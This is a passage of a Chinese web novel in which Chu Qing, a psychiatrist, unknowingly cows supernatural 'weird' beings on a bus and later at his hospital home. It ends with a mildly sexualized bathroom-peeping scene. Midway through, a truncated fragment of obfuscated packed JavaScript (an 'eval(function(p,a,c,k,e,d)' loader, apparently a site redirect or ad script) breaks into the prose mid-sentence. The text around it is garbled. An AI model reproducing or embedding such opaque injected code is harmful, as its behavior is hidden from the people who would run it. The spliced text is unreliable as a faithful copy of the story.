话是这么说,但在她看向自己儿子的目光里满是骄傲:“说起来,在半年前他曾经跟同学相约去爬山,但途中发生意外,绳索断裂,他跌落山崖,迷失在了山林里,幸亏距离地面不是很高,他命大,险些没能回来。” 她有些后怕的拍拍胸口:“不过还好,一切都过去了。” 楚青跟她攀谈好一会儿才离开,老板娘兴冲冲的欢迎他下次再来,彼时刚好又来了一位顾客,她招呼自己的儿子前来接客,自己有事出门一趟。 后厨里她儿子机敏的应了声,但人是在楚青的气息完全消失后才肯从后厨现身出来的。 那时他眼神胡乱瞟向窗外,心里一阵后怕,背上全是冷汗,额头也是。 诡异一般情况下是不会出汗的,除非是真的恐惧害怕。 他忘不了刚刚跟楚青对视时的那一眼里,楚青身上所迸发出的气场。 他看不透楚青,不知这人究竟是人还是诡异,但理智告诉他,这人千万不可轻易招惹。 * 楚青在公交站台等了好一会儿,终于等到了下一趟公交的出现,他扫完公交码后,就找了个前排的空座。 公交车上通常都比较喧嚣,尤其是老人比较多的前提下。 而这时后排正好坐着三个互相认识的老人,为了更好的不分散注意的聊天,她们甚至连手机都关机了。 老人们有些不太会玩智能手机,不懂怎样去畅玩花样繁多的功能,当然不知道怎样去开免打扰功能,还不如直接关机来得轻松。 现在她们刚好排成一排坐在了一起,聊得那叫一个热火朝天,楚青默默戴上了耳机。 但在经过一个站点时,她们突然一致抬头,齐刷刷的往窗外的同一位置望去,整齐划一度就跟设定好的程序似的。 而此时公交车在站台自动停下,司机刚停车,后背就被猝不及防挨了一巴掌。 那人小声对着他耳朵道:“是诡异‘站台老人’,不要停车,一旦等他上车就来不及了。” 站台老人在城市里很是常见,而且她们行踪不明,很难被逮到,不过作为一个D级诡异,她们本身的规则也相应比较简单,为了让市民更好的防范,诡异检测机构的局长特意在网上公布了她们的具体规则。 一,如果她有任何要求,请记得务必答应,切记不要犹豫时间过长,否则她会自动认为你不尊重她。 二,不要喧哗吵到她休息,哪怕是铃声也不行。 三,在她没有下车之前不能提前下车,否则你很容易被她盯上。 但因为“站台老人”出现的时间并不是很长,可能会有一些没被解锁到的规则,局长特别提醒市民,“站台老人”没有很强烈的攻击欲望,如果你能安分守己的话,那么她一定不会对你动手的。 可惜迟了,在司机额角冒汗的重新启动车辆时,“站台老人”已经一只脚踏了上来。 在她踏进车辆的同时,就意味着全车的人都陷入到了她的规则之中。 她双眼空洞,瞳孔浑浊,也不知能不能看得清楚前方的东西,但迈开的步子却格外坚定。 可能是顾及自身的形象,她还特意戴了一顶帽子,帽子是大红色的,上面用丝线系了一个很漂亮的蝴蝶结。 车上的人看见了,这不由得让他们联想到了网上发布的有关“站台老人”的大致形象,她就像一个会在不同站点随时随地刷新的NPC似的,出现在人们面前的形象几乎是相差无几的,唯一的区别大概就是她们的装扮不同。 当时在网上有关她的,被偷拍到的疯传的具体形象是地中海式发型,围绕一圈的是寥寥无几的白发,直接让人梦回太奶。 要不是太奶在棺材里躺着不能随意出去见人,估计都有人敢直接端着花圈上前去认亲了。 现在车上的气氛就跟人进去坟地似的,愣是没一人敢吱声,后排攀谈的几位老奶奶安分得不得了。 楚青耳根子终于算是清净了,他还在认真刷手机中,头是半点儿没抬,压根不知道这短短几分钟里车上究竟发生了什么。 突然他感觉自己的肩膀被人拍了一下,楚青无意识的问了句“怎么了?” 有个像是卡痰的声音回答道:“能把你的手机给我吗?” 靠窗坐在楚青前排的男人听见动静骤然松了一口气,暗自庆幸自己躲过了一劫,天知道他在埋头看见“站台老人”的脚步逐渐朝他这个方向靠近时,心里是多么煎熬。 但他正打算看后排那人如何应对时,就听见了一个铿锵有力的,一点不带犹豫的不字。 他瞬间睁大了眼睛,虽然“站台老人”的规则较为简单,但也不意味着她被拒绝后不会发疯杀人啊? 他想着,喉结上下滚动,忍不住吞咽了一些口水,他的头颅就像是被电焊死在原地似的,如果不是因为害怕,那么他高低要回头看一下这个艺高人胆大的仁兄的长相。 但就在全车人等“站台老人”发飙时,殊不知该紧张的是看清楚青全部正脸的“站台老人”,她就像一个手足无措的孩子,眼神瞬间变得清澈:“你长得真好看。” 听着这位前言不搭后语的话,楚青才终于从手机屏幕上移开,将视线停留在“站台老人”身上许久。 在全车人的屏气凝神中,楚青语出惊人:“这位老人,冒昧问一下,你有病吗?” 18. 第 18 章 天地可鉴,楚青绝对不是在骂人,他是真觉得“站台老人”有病,看起来还是病得不轻的那种,要不然怎么有人会在大热天穿个棉袄出来的,是嫌外面还不够热吗? 当然还带了一些他身为“精神病医生”的看人眼光在里面,这么一总结,“站台老人”果然该归为有病那一列,这个分类属实不冤。 楚青话一出口,所有人不约而同的将视线扫过来,等着看这位不知天高地厚的年轻人的悲惨结局。 有一些害怕看见惨烈血腥场景的已经将眼睛闭上了,尤其是在倒数第二排右侧靠窗的母亲,她不仅自己闭上了,而且还将自己正在好奇往“站台老人”那里探头打量的四岁孩子往自己怀里带。 孩子年岁小,本就不太安分,再加上调皮捣蛋的性子,自然是不肯按照自己母亲的动作来。 他几乎一下子就挣脱了母亲的束缚,“哒哒哒”的跑到“站台老人”跟前凑热闹:“老奶奶,你头发好少啊。” 童言无忌,形容的就是这样,小孩子不懂人情世故,几乎是看到什么都往外说:“你怎么不用拐杖啊,毕竟你看起来比我奶奶还有老,我奶奶都走路不方便的。” 本来楚青的话就如一个重磅炸弹了,现在又来了一个王炸组合,剩下的人已经默默为这两位点蜡默哀了。 孩子的母亲凑上前来,几乎是用尽全力将自己的儿子捞进怀里,鞠躬道歉:“小孩子不懂事,请您不要介意。” 但这样子,无疑是触及了第二条规则,车内不许喧哗吵闹。 但她太着急了,只顾着自己孩子的安全,完全将这条规则抛之脑后,现在后悔已经来不及了。 她只能静静的等待死亡的到来,她无声的流泪,四岁孩子不知道发生了什么,也不知道自己做错了什么,但他知道自己妈妈不开心了,于是他就用稚嫩的小手擦拭自己母亲流下的眼泪。 “妈妈,你怎么哭了,你不开心吗?” 母亲只能摇头,然后更加用力的将他抱在了怀里。 在死亡面前,正常人那些微不足道的反抗是堪称挠痒痒的存在,根本无法抵抗诡异杀人来得快速。 她见过诡异杀人的场景,简直不把正常人类的命看作是命。 只是在被泪水遮挡的视线中,她居然看到“站台老人”身上掉了些东西在地面上。 虽然死亡的气息在不住蔓延着,但还是抵挡不了她这该死的好奇心,她伸手抹了一把眼泪,视线总算清晰了不少。 然后就是一连串的珠子落地声。 “啪嗒啪嗒——” 如果她没看错的话,这好像是……眼泪? 还是从“站台老人”身上掉下来的? 女人眨巴两下眼睛,只能看见“站台老人”面对坐在座位上的年轻人逐渐耸动的肩膀,从她那个角度看去,她只能看见其后脑勺,但她敢肯定,这豆大的不知是汗还是泪的珠子绝对是从她身上掉落下来的。 这样一副情形让她感到不可思议,就好像“站台老人”怕这个年轻人似的。 但……这怎么可能呢? 就在她百思不得其解时,那个长相好看的年轻人又开了口:“我问错话了,一般有病的人不会轻易承认自己‘有病’。” 他沉吟了会儿,重新组织语言开口询问道:“你面前有一个盛满水的浴缸,如果你有两个道具可以选择,一个是勺子,一个是盆,你会选择用哪个将浴缸里面的水完全放空?” 女人正觉不可思议着,突然又是“咚”的一声,“站台老人”身上再次掉落了东西,她仔细一看,是一截黝黑的手指,上面还带着一枚纯金的戒指。 正散着财呢,年轻人又一次开口了:“别紧张,只是正常问答而已。” 不知是不是女人的错觉,年轻人话音刚落,“站台老人”抖的就不止有肩膀了,甚至连同身上的小腿一起抖。 这下子让她不得不承认一个严酷事实——“站台老人”很怕这个年轻人。 就在这么诡异的气氛中,“站台老人”默默在楚青的眼神示意下开口了:“我选择拔塞。” 楚青点头,又是好一阵打量:“智商正常啊,难道是体寒的缘故?” 他说着,往后又是一指:“这位老太太,我身后有不少空位呢,就别盯着我这个位子了。” 楚青这话还没说完,女人突觉一阵风拂过发梢,她被吹得眯了下眼睛,再次睁眼时,“站台老人”板板正正的坐在了楚青的身后,准确来说,这个位置是距离楚青最远的。 女人就这么,愣愣的尬在了原地。 楚青只能不确定的问她:“这位女士,请问你身体有哪些地方不舒服吗?” 女人不知道自己是怎么回到自己的座位上的,她就像被上了发条的机器,在固定的时间节点摇头,然后步伐迟缓。 在她离开后,楚青才注意到女人身后的东西,那是“站台老人”的手指。 因为“站台老人”裹得实在太厚,又加上楚青思考问题时过分专注,所以并没有意识到有东西掉下。 现在他仔细端详了片刻,主动出声询问车里的人道:“谁掉的戒指?” 在一片死寂中,“站台老人”学会了举手:“我掉的,实在不好意思。” 车辆里其他人听见这句回答后,直接瞳孔地震,就连司机都差点没把握住方向盘,差一点就要拐进道路边的绿化带上。 实,在,不,好,意,思。 这是一个诡异该说出口的话吗? “站台老人”你不觉得你有点过分礼貌了吗? 我手机呢,挺后悔没提前录好视频好发朋友圈…… 虽然有监控在,但它的作用聊胜于无,因为诡异出现的同时会干扰到相应磁场,这就意味着监控那边只能拍摄到一堆马赛克。 这一趟车格外的安静,甚至可以说安静得有些过分了。 就连楚青到达站点,准备先“站台老人”之前下车时,都没人敢吭声提醒。 最后在楚青正打算下车时,他突然被坐在靠门座位的年轻小伙子拽了一把衣角。 还好楚青提前扶着栏杆,要不然就免不了一个踉跄。 他疑问的话还没问出口,就见那位拉他的人举着手机对着他,手机上面,是一行滚动的大字:你不等到@?##?下车后再下车吗? 楚青:“???” 这是什么新型的打招呼方式吗? 虽然不知道那堆马赛克代表了什么,但他根据对男人眼神的观察,能准确判断出代指的应该就是他曾认为有病的那位老人。 这么一结合,楚青脑子有些懵:“她是行动不便吗?” 男人:“???” 你问我?我打哪知道她一个诡异行动便不便? 见男人没回答,楚青就当默认了,所以他好心的问“站台老人”道:“老人家,你是在这个站点下车吗?” 这个问题“站台老人”自己也不知道,她随机刷新,随机杀人,随机选择站点下车。 但面对至高的威压,她梗着嗓子答了一句“是”。 她不敢违逆楚青对她发出的任何指令,虽然她不知这人身上究竟为何有如此强的威压,但她在楚青嗅到了许多高级诡异的气息。 对于像她这样的低级诡异,高级诡异碾死她们就像碾死一只蚂蚁那样简单。 她头脑风暴了一圈,绝对还是听话回答是的好。 于是在全车人瞪大的眼睛,跟张大到不能再长大的下巴中,楚青几乎是跟“站台老人”一前一后下的车。 楚青在前,“站台老人”在后,有关这个前后顺序是“站台老人”自己努力争取出来的。 因为楚青有意让她先下车,但“站台老人”死扒拉着座位坚决不从,从她那显得可怜跟害怕的眼神中就不难看出,她怕极了那位年轻人。 就好像只要她前脚敢下,后脚楚青就能将她的头拧下来当球踢似的。 于是这样千载难逢的盛景就出现在了众人面前。 而她们愣是看呆了,许久才有人想到要拿手机拍下视频来当做证据。 也是在司机重新启动车辆,并开出好远距离后,车内众人才终于像是连接上wifi的手机似的,大脑开始重新运转起来。< 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现在看到楚青的到来,那位“正常人”的就像找到亲人似的扑了过来,但他不敢上前拥抱,究其原因,可能是被站在楚青一侧肩膀上的眼球瞪的。 楚青正想问是打哪来的客人呢,结果王洪就主动跳出来介绍道:“楚医生,你回来的刚好,你预定的修理工刚来不久,正在被我好生招待着呢。” 小年轻看着他,声音结巴得不行:“他……他……他……叫你……楚……医生?” “你……你……难……不成……也是……” “诡异”两个字在落入楚青耳朵前自动消音成功,楚青只当他内向害羞,主动开导道:“放心,他们人挺好的,不会对你做什么。” 小年轻抖着一侧肩膀回头看了看脑袋开花的中年男人,又看了看楚青肩膀上发狠瞪他的眼球,怎么也不像是看起来很好的样子。 而且那个中年男人笑得虽然春风得意,但就是让他莫名感到一种被毒蛇盯上脖颈的感觉,整个脊背都凉嗖嗖的。 小年轻想,我才十九岁,都说十九岁一枝花,我连女人的手还没摸过呢,也不知道还有没有机会活着出去。 他深吸一口气,主动尝试着跟这位看起来能完全镇住场子的好看男人交流问道:“他们……都听你的吗?” 楚青听他这么一说,还以为他在这里受了什么委屈,眼神示意王洪跟眼球安分一点后,他还主动在小年轻的注视下,捏了一把自己肩膀上的眼球。 “好不容易来了个客人,要是敢将人给我吓跑就小心着点你俩的脑袋。” 小年轻眨巴眨巴眼睛,正想扯出一个牵强的笑意来作为回应时,就见楚青肩膀上的眼球“嘤”了一声,主动将自己触手缠在身上,缩成一团往楚青脖子上面钻。 “妈妈……呜呜呜……你凶我……” 它“呜呜”了半天,只能听见它委屈巴巴的哭声,眼泪愣是一点儿没往下掉,摆明了的干打雷不下雨。 再然后,顺着眼球滚动的位置往上一看,小年轻敏锐地看到了上面的那一大片咬痕。 哎呦,他在心里感叹着,八卦的心很快盖过了恐惧。 看样子挺激烈啊。 他正纠结这东西是怎么来时,就见眼球借着“被凶哭”的名号将自己身上的触手往楚青脖颈上探去,“吧唧”一声,又一个咬痕新鲜出炉。 这个咬痕不论是形状还是留下的齿痕,都跟小年轻最先看到的那个一般无二。 这番操作直接给小年轻看愣了,讲真,就连德芙巧克力都没能做到如此丝滑,一看眼球诡异这么顺畅的举动就知道它平时没少干这档子事。 讲个笑话,有个诡异为了宣誓自己的所有权,在他一个正常人类面前靠死皮赖脸亲昵。 不对……等等……那个眼球诡异叫楚青什么来着? 妈……妈妈? 小年轻直接瞳孔地震。 原来是他孤陋寡闻了,你们诡异界原来玩的这么花吗? 19. 第 19 章 有关这样一副千载难逢的场景,小年轻真觉得不可思议,但在他还没来得及开口发出感叹声音时,肩膀上落下一个手掌,只一瞬间,他就汗毛倒竖起来。 毕竟是大夏天,他也只穿了一件短袖就出来了。 所以当手掌落在肩膀上面时,他甚至能隔着一层薄薄的布料去感受到手掌上传递而来的刺骨寒意。 这种冰凉的感觉他只在自己临下葬之前的姥爷身上感受到,没有脉搏的跳动,更别提拥有活人的体温了,那对于死人来说完全是一种奢侈。 他就像木头人似的,脖子转动的频率一顿一顿的,挨个卡上节拍,呼吸声几近微弱,又或者说,他已经感受不到自己呼吸声的存在了。 刘护士的声音就像幽灵,突然出现在耳边,差点吓得他一个哆嗦起跳。 “要来打上一针吗?” 小年轻本来还想转头看个真切,身后的声音一出来,他是大气都不敢多喘一下了。 “姐姐,”他欲哭无泪道:“这是什么新型的见面方式吗?” “不是哦,”刘护士手拿针管,另一只手还在他的肩膀上稳稳的搭着,每一寸肌肤都透出刺骨的寒意。 “不白来哈,既然来都来了,刚好现在医院针管大促销,买一针送一针。” 小年轻:“……” 究竟是哪个瞎了眼,没长脑子都医生能制作出如此丧心病狂的规定。 但这里是诡异云集的精神病院,到底不能按照常人的想法来对待。 他虽然没见过那么大的阵仗,但有幸之前扎针时遇上一个。 那护士手拿的针管针尖堪比奶茶吸管粗细,这不禁让他严重怀疑这玩意儿不是扎针输水用的,而且往人的天灵盖上招呼的。 虽然这个针头扎不开天灵盖,但在拿出来的一瞬间,它就已经能吓死个人了。 那护士穿着一双大红高跟鞋,简直堪比恨天高,而且自不必说她身上所穿着的制服,上面全是血迹,看上去已经被血液浸透了个完全。 而且她的嘴巴沿着头颅对半儿撕开,随后又用针线缝合完全,但只要她一开口说话,就有源源不断的鲜血从她的嘴边冒出来,简直吓死了人了都。 本来那护士一口一个“帅哥”的叫着他,看向他的方向,高跟鞋“哒哒哒”的往他的方向走过来时,嘴角噙满了恶毒的笑意。 当时他只是想去医院输个水而已,刚好身体因为发烧提不起一点力气跟精力,却不想就被“裂口女护士”盯上了。 小年轻对这个诡异不甚了解,但从附近病人的只字片语中得知这个诡异每次出现就必要杀死一个人类充当祭品。 而现在他无疑就是被盯上献祭的那一个,就在他试图理清乱飞的思绪考虑对策时,“裂口女护士”突然径直拐去了另外一个房间,也是伴随着病房里的一阵惊天动地的尖叫跟求饶声中,世界才重新归为里寂静。 自从那次惊心动魄的经历后,小年轻为了避免再有类似情况的出现,便在网上恶补了有关“裂口女护士”的相关规则知识。 已知:这位级别为A的诡异不经常出现在医院内,但一旦出现就必须要带走一个人。 这个是最为大众所熟知的规则。 但由于她很少出现在人前,导致人类对她全部的规则掌握知之甚少,距离诡异世界跟人类世界重合的这百年间,她总共就在医院随机刷新出现了四次。 有两次被幸存者发布到了网上,因为其出色的身材跟外形被网友疯传。 虽然不知道这届网友是怎么粉上的,但不得不说那诡异凹凸有致的身材确实绝了。 但架不住他有心理阴影,也不知这种万里挑一的幸运是怎么轮到他身上的,偏生就出现了四次,还叫他碰见了一次。 不……加上这次可以说是第四次了。 小年轻在脑内搜刮了变天,发现自己有关解决这个诡异的方法竟是半点儿不知,脑内全被网络上一些热梗跟烂梗占了个大概。 现在填满他内心的只有卧槽二字能完整表达出他此刻欲哭无泪的心情。 如果这俩字显得太过单调,那就再加上“哎呦”两个语气助词上去增加一下语言表现力的好。 所以无可奈何之下,他选择了投降,堂堂一个大男子汉,竟是半分儿不顾及形象的,“扑腾”一声,跪得那叫一个干脆利落。 “姐姐,求放过。” 刘护士玩够了,将自己搭在人身上的手收了回去:“放心,小帅哥,你长相不差,正好是姐姐的菜,姐姐不会就这么轻易就让你狗带的。” 小年轻,又或者说王帐可谓是一动也不敢动,他实在摸不准这些个诡异的性子,万一不小心可就落了个人头落地的下场,那就是真的得不偿失了。 现在他除了冒汗就是在冒汗的路上,更加折磨人的是,他还擦不了汗。 虽然过了刘护士这一关,但王洪却在看向王帐时,内心多了几分嫌弃。 他嫌弃的点全在王帐的这一双跪下的膝盖上,指点的动作一下没停,如果给他一个演讲的机会,他铁定能唠个三天三夜。 “身为一个大男子汉,怎么一点儿骨气都没有,人类不是常说一句话——‘男人膝下有黄金’吗?” 王帐从小就有一个毛病,喜欢在老师跟家长说话的间隙里接话,现在他几乎没怎么过脑子,顺嘴接道:“对啊,现在正好是提现的时候。” 然后话一出口,他又立马后悔了,“啪”的一下,半张脸肿了。 这番操作看的全场诡异一阵沉默,楚青就这么看着王帐水灵灵的跪下,又措不及防扇了自己一巴掌。 怎么说呢,巴掌来得太快,就像龙卷风。 王洪也是个看热闹不嫌事大的,添如乱的凑近他的耳边小声说道:“楚医生,我看这位显然也病得不轻,正好来对了地方,不妨治一治。” 他说得十分坦荡:“毕竟这孩子看上去年龄不是很大,以后还有很长一段时间经受多方白眼,这可不利于国家对于‘祖国花朵’的培养工作。” 看脸倒是真诚得不得了,但说出口的话却句句都是歪理。 楚青打着圆场道:“这位……小兄弟,咱能换个姿势说话吗?” 王帐满眼绝望:“现在我连跪着说话的权利都没有了吗?” 楚青:“……” 这都哪跟哪啊。 他注意到了王帐眼中的恐惧,还不由得扫视了一圈,觉得站在他周围的那几个看上去着实有些骇人。 楚青想,可能是小孩子年龄不大,胆子又小,害怕一次性见那么多的生人。 但这个想法若是被搬到了校园墙上,那就是另外一副绝景了。 学校里,因为王帐长相帅气,又钟爱于打球,没少在没课期间在操场上与人嬉戏打闹,那时候经常会有一些爱看帅哥的女生在旁边坐着,一边拍照分享给自己同样色迷心窍的朋友,一边不忘发在朋友圈里晒晒日常。 久而久之,王帐的名字就被不少校友所熟知,甚至就连有次他的大学跟随网上潮流拍摄相关视频时,就曾经邀请过他露脸合拍过。 那时候他不仅被经常表白要微信,还没事会被偶然遇见的粉丝要求合拍。 不过他性格开朗外向,这对于他来说都不算什么难事。 但现在,一直外向的人挤了半天挤不出一句完整的话来,他就算是跪在地上前一刻,还是观察好人的脸色小心找一块不是很脏的地面跪下的。 这就挺让人难绷的。 还有让他比较自卑的一点是,他一直引以为傲的外形条件,跟楚青的形象一对比,直接被趁成普通那一类的了。 而且楚青他……他……他是一个男人啊,一个男人怎么能做到皮肤这么白净的?简直就跟上了底妆似的,他都想伸手摸一把,看看能不能蹭出粉来了。 但他也只敢想想,毕竟身在屋檐下,不得不低头的道理他还是懂的,别最后成为小丑就行。 虽然王帐现在处于劣势,但这抵挡不了一个年轻人吃瓜的好奇心,所以他是偷摸打量的。 这诡异的氛围直到楚青用几句话将护士小姐她们全部支开后,他才在最终比较安全的环境中,一下子卸力跌坐在了地面上。 “稍等,”他顺着楚青担忧的神色道:“等我缓一缓,马上就好,真是……头一次蹲这么长时间。” 令人发笑的是,他就连吐槽的声音都是小心翼翼的,生怕多说一个字就会被楚青刻意发难似的。 等了半天,王帐终于一个翻身站了起来,他拍了拍身上的浮灰,对于楚青刚刚勇敢与其他几个长相骇人的诡异对峙的场景,心理敬佩的不行。 “哥,你是……” 他说到“是”字就卡了壳,对着那张完好无损的剩下半张脸又是一巴掌。 现在好了,这盛世如他所愿,两边脸上的红印总算是对峙上了。 王帐在楚青眼中的探究刚显现出来时,就立马转移了话题:“瞧我这话问的,哥你指定是个再正常不过的普通人。” 楚青:“……” 他觉得自己多少跟这个时代有那么一点脱钩,哪有人一见面就给自己来一巴掌,还将他称作普通人的。 难道他看起来很像什么非人物种吗? 这是个教人匪夷所思的话题。 说着说着,可能是这么多歪瓜裂枣,无法被归为正常人类范畴的诡异见多了,王帐现在在楚青身上感到了不可多得的常人气息。 现在没有那么多诡异的死亡凝视跟威胁,再加上楚青的容貌看久了,他居然有了一种……想臣服的……错觉? 王帐甩甩脑袋,他想,自己一定是画本子看多了,开始与一些不着边际的事情上面不断联系上了。 但不管怎样,他现在看楚青就跟看他失散多年的亲人似的,那是越看越欢喜,忍不住想直接扑上前去,给人来上一个激情的拥抱。 但他这个心思刚冒头,就被赶不走的,依旧不忘初心,还在偷摸瞪他的眼球给钉的是一点儿念想也没了。 他是个有眼力见的,他挠头的同时轻飘飘将自己的念头盖了下去:“嫂子长得真……” 他用尽毕生所学试图在眼球沐枯身上挤出一些“拍马屁”的词汇来。 但只要一撞上沐枯的视线,他就始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“能问一下你的名字吗?” “我……我吗?”王帐受宠若惊道:“哥,我叫王帐,你叫我帐帐就好。” 楚青:“……” 有时候过分社牛也不是一件好事,这样的话再来一次,他就要被整成社恐了。 “小帐。”楚青换了另外一种比较能叫得出口的叫法:“你还记得自己来这里要做什么事吗?” 王帐道:“当然当然,只不过哥你的朋友有点儿……太热情了,一时招架不住。” 他说着,将自己放置在沙发边的工具拿了起来:“哥,我要去哪里修?” 楚青给他指了条路:“二楼,门上写着203的房间。” 但王帐走了两步,见楚青没跟着他上来,便停下了步子:“哥,你不跟我一起上来吗?” 说不害怕是假的,他现在看哪都是阴森森的,但凡来点儿动静,他都能被吓得当场撅过去。 楚青看出他的惊慌来:“那里只有我一个人居住,不会有外人进去,钥匙在门上插着,你一拧就开了,要是实在不放心你可以将门反锁上,需要换的玻璃在窗户底下放着,你进去就能看到了。” 王帐总算来了一点儿勇气:“那哥,我有事能发消息直接联系你吗?” 这话就问得有些莫名其妙了,楚青道:“自然,毕竟手长在你身上。” 王帐四舍五入,全当楚青是同意了,他看见自己即将要进去的门牌号后,迅速打开房门,将钥匙拔下,又快速将门锁上,整个过程加起来不超过半分钟。 楚青现在身边清净了许多,正坐在沙发上打算休息时,一个低头的瞬间,他余光扫到了自己素白衬衫上多出的几道污渍。 黑黢黢的几根,看上去像是手指印下去的,在肩膀那里尤其多。 不出意外,这应该是当时在公交车上那位戴着大红帽子的老人留下来的。 楚青的洁癖一下子上来了,他现在只恨不得自己立刻将身上的这件脏衣服脱掉,然后再好好去浴室里泡个澡。 事实他也这么做了。 为了防止眼球的恶意窥探,他老早将眼球从肩膀上摘下。放在了桌面上,而且在进去浴室后,他又将门给反锁了个严实,再三确认沐枯无法进来后,他才肯脱掉上衣,漏出洁白胸膛。 在上面极其惹眼的要数那两点梅花无疑,让人禁不住想一手把握上去,再顺势用指尖勾勒一下。 水珠自头顶滚下时,连带着下面带着水光的风景,直教人心底荡漾起来。 楚青刚打上泡沫,手放在胸口处将白沫推开时,一旁排风的小窗处多了几声吞咽。 他立马意识到了什么,在干起坏事时,不管是人还是诡异总是有数不尽的精力。 就像现在,楚青眼铮铮看见趴在窗口处偷看他的眼球瞳孔变得涨红涨红的,都快跟红宝石一个颜色了。 “妈妈……”他视线从上往下,一路游移,在看到某个东西后,瞬间停滞。 “粉粉的,好漂亮。”